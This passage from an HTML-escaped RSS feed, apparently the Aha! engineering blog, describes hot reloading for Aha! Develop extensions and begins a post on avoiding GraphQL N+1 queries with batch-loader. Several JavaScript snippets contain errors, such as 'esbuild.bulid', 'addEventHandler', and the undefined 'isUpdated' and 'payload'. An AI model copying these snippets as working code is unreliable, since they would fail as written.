&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.performInstall,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      WAIT_TIMEOUT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then use the fantastic &lt;a href=&quot;https://esbuild.github.io/&quot;&gt;esbuild&lt;/a&gt; to bundle the code into a JS file for every &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/extension-contribution-types&quot;&gt;contribution entrypoint&lt;/a&gt; specified in the package.json file. By bundling the code by contribution, we can have a smaller eventual bundle size by loading only the required code in each place.&lt;/p&gt;
&lt;p&gt;esbuild makes it very easy to generate the bundle — plus it&apos;s super fast. With some custom plugins, we can perform the bundling and uploading, including loading modules from skypack.dev, in 1–2 seconds.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;esbuild.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;bulid&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  entryPoints: [path],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  bundle: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  outfile: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;bundle.js&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  plugins: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    httpPlugin&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ cache })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  target: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;es2020&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  write: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  sourcemap: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;external&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  sourcesContent: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  loader: { &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;.js&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;jsx&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hot reloading&lt;/h2&gt;
&lt;p&gt;If you&apos;ve used Aha! before, then you&apos;ll know that it has a reactive and collaborative interface. If you update a record, then your colleagues will see your change almost immediately. If you&apos;re editing rich text fields, then your changes are visible to your team as you type.&lt;/p&gt;
&lt;p&gt;Aha! establishes a websocket connection when the page is loaded and sends information through that socket about all record changes within the account you&apos;re logged into. To maintain a balance between permissions and performance, Aha! will send information about every single change in the account. It will limit the information sent via the websocket to only the record identifiers. When you&apos;re looking at a record, Aha! will be receiving updates about all record changes in the background. When Aha! sees an update related to the record you&apos;re viewing, it will fetch the updated record and update the screen.&lt;/p&gt;
&lt;p&gt;Extensions are able to leverage this mechanism to provide hot reloading. In fact, we had to build the structure for hot reloading to make extension views work like the rest of Aha! If you build an extension that stores data against a record, like the planning poker extension, then changes to that data are visible to other team members in real time.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; storeVote&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;estimate&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; user&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; aha.user;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; key&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FIELD_BASE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; newVote&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(user.id),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    name: user.name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    avatar: user.avatarUrl,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    estimate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // Set the vote on the record&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  await&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; record.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;setExtensionField&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;EXTENSION_ID&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, key, newVote);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // Update the state of the current view&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  setVotes&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(votes.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;vote&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; vote.id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; user.id).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;concat&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([payload]));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  setHasVoted&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this snippet of the planning poker extension, the vote data is saved to the record. The extension itself doesn&apos;t need to do anything more to communicate this change to any other viewers of the record. Aha! will send an update to all connected browsers logged into this account with information that there is an update to the extension fields for this particular record. If any browser has that record open in either the drawer or the details view, Aha! will reload the field data and call the render function in each extension with the new fields. For React-based extensions, this looks like a prop update.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;aha.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;planningPoker&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ({ &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;record&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;fields&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;PlanningPoker&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; votes&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;votesFromFields&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(fields)}/&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we have this mechanism in place already for extension fields, it is a small step to perform a similar change when the extension code is uploaded. As soon as the extension is uploaded, a new extension bundle is ready. If you refresh the page at this point, you will see the changes. So Aha! sees the extension record change and the browser does an async import to make the new code available.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; import&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  `/extension_contributions.js?ts=${&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Date&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getTime&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The new code is now ready to run. Each extension view on the page needs to be instructed to reload. Unfortunately though, Aha! cannot call the render function again as it does for field data changing. This is because, as an extension author, you may have added event handlers or other kinds of long-running code. When extensions render, they are passed a function prop that is a callback for cleaning up when the extension is unmounted:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; elementDetectionHandler&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // does something on mouse move&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;aha.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;page&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ({ &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;onUnmounted&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;isUpdate&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  onUnmounted&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;removeEventListener&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;mousemove&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, elementDetectionHandler);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;isUpdated) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;addEventHandler&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;mousemove&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, elementDetectionHandler);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Page&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; /&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, the extension is adding an event handler for its page view to add a special effect. If Aha! rerenders the component now and the new code has a change to the handler code, like renaming &lt;code&gt;elementDetectionHandler&lt;/code&gt; to &lt;code&gt;mouseMoveHandler&lt;/code&gt; , then a memory leak will occur and there will be inconsistent behavior.&lt;/p&gt;
&lt;p&gt;Instead, Aha! will unmount each extension view currently open in the browser, running the &lt;code&gt;onUnmounted&lt;/code&gt; callback, and reload them. This only takes a moment. It means there is a slight difference in behavior between fields being rerendered by extensions and hot-reloading. The extension will start again with a fresh state. Extension authors can make this experience better by using extension fields to store data in a way that allows the extension to reload from where it last left off — a good practice for the extension user experience anyway.&lt;/p&gt;
&lt;h2&gt;Developer experience&lt;/h2&gt;
&lt;p&gt;When you save a file in your editor and start switching to Aha!&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The aha-cli tool detects the file has changed&lt;/li&gt;
&lt;li&gt;esbuild creates a single JavaScript file bundle&lt;/li&gt;
&lt;li&gt;aha-cli uploads the bundle to Aha!&lt;/li&gt;
&lt;li&gt;Aha! sends a message to every connected browser to indicate the extension has updated&lt;/li&gt;
&lt;li&gt;The extension host code in the browser reloads the JavaScript&lt;/li&gt;
&lt;li&gt;The extension host code remounts every extension&lt;/li&gt;
&lt;li&gt;You see your changes within seconds of saving&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By connecting up several existing mechanisms in Aha! that have already been in use for a slightly different purpose, we can offer developers a compelling feedback cycle when working on extension code that is being developed and deployed to an account on our production system.&lt;/p&gt;
&lt;p&gt;Get started with &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;Aha! Develop&lt;/a&gt; today and write your own extensions to customize your workflow.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Automatically avoiding GraphQL N+1s]]></title><description><![CDATA[Some people, when faced with an API problem, think “I’ll use GraphQL!” And now they have N+1 problems. N+1 problems occur when you want to…]]></description><link>https://www.aha.io/engineering/articles/automatically-avoiding-graphql-n-1s</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/automatically-avoiding-graphql-n-1s</guid><dc:creator><![CDATA[Justin Weiss]]></dc:creator><pubDate>Mon, 03 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Some people, when faced with an API problem, think “I’ll use GraphQL!” And now they have N+1 problems.&lt;/p&gt;
&lt;p&gt;N+1 problems occur when you want to find a deep tree of records and end up performing a SQL statement or API request for every record, instead of retrieving all records — or all records of a given type — at the same time.&lt;/p&gt;
&lt;p&gt;In Rails, N+1 problems are simple to solve using &lt;code&gt;includes&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;features_with_comments &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; release.features.includes(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;comments:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :created_by&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But you still have to remember to do it. At Aha!, we build complex reports and roadmaps. Even though we’re careful to avoid N+1 problems, accidental ones are still a major concern of ours.&lt;/p&gt;
&lt;h2&gt;Aha! Develop extensions&lt;/h2&gt;
&lt;p&gt;While creating &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;Aha! Develop&lt;/a&gt;, our mission was to offer radical customization for developers so they can do their work in the way that’s best for them. This meant providing an extremely flexible API, making Aha! Develop extensions not only powerful, but easy to write. GraphQL is a perfect fit for this kind of client-driven functionality.&lt;/p&gt;
&lt;p&gt;But this API flexibility comes with a cost: It’s hard to optimize queries when you don’t know in advance what the query will be. In order to avoid an explosion of queries when an extension fetches nested data (which will happen all the time!), it seemed like we would need to analyze the query and create a plan for executing it efficiently. That’s a lot of work, complex, and prone to mistakes.&lt;/p&gt;
&lt;p&gt;This was a big problem. If we couldn’t provide a flexible API that performed well, we couldn’t provide it at all.&lt;/p&gt;
&lt;h2&gt;Looking into solutions&lt;/h2&gt;
&lt;p&gt;Despite the jokes, this is a common enough problem that there had to be some existing solutions. To provide our GraphQL API on the server side, we use &lt;a href=&quot;https://graphql-ruby.org/&quot;&gt;graphql-ruby&lt;/a&gt;. This is an amazing library that feels like the best of Ruby — it has great defaults while being easy to extend and change. There are a few N+1-avoiding libraries that work well with it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://graphql-ruby.org/dataloader/adopting.html&quot;&gt;GraphQL::Dataloader&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/shopify/graphql-batch&quot;&gt;graphql-batch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/exAspArk/batch-loader&quot;&gt;batch-loader&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After some exploration, batch-loader seemed like the perfect solution. It was a little harder to get started with than something GraphQL-specific like graphql-batch. But it was small, flexible, and useful even outside of GraphQL. We’ve even considered using it to batch load requests to external APIs where that is supported.&lt;/p&gt;
&lt;p&gt;Here’s what it looks like, from batch-loader’s &lt;a href=&quot;https://github.com/exAspArk/batch-loader/blob/master/README.md&quot;&gt;README&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; load_posts&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(ids)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Post&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ids)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; load_user&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(post)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  BatchLoader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.for(post.user_id).batch &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user_ids, loader|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; user_ids).each { |user| loader.call(user.id, user) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;posts &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; load_posts([&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])  &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#      Posts      SELECT * FROM posts WHERE id IN (1, 2, 3)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;                               #      _ ↓ _&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;                               #    ↙   ↓   ↘&lt;/span&gt;&lt;/span&gt;
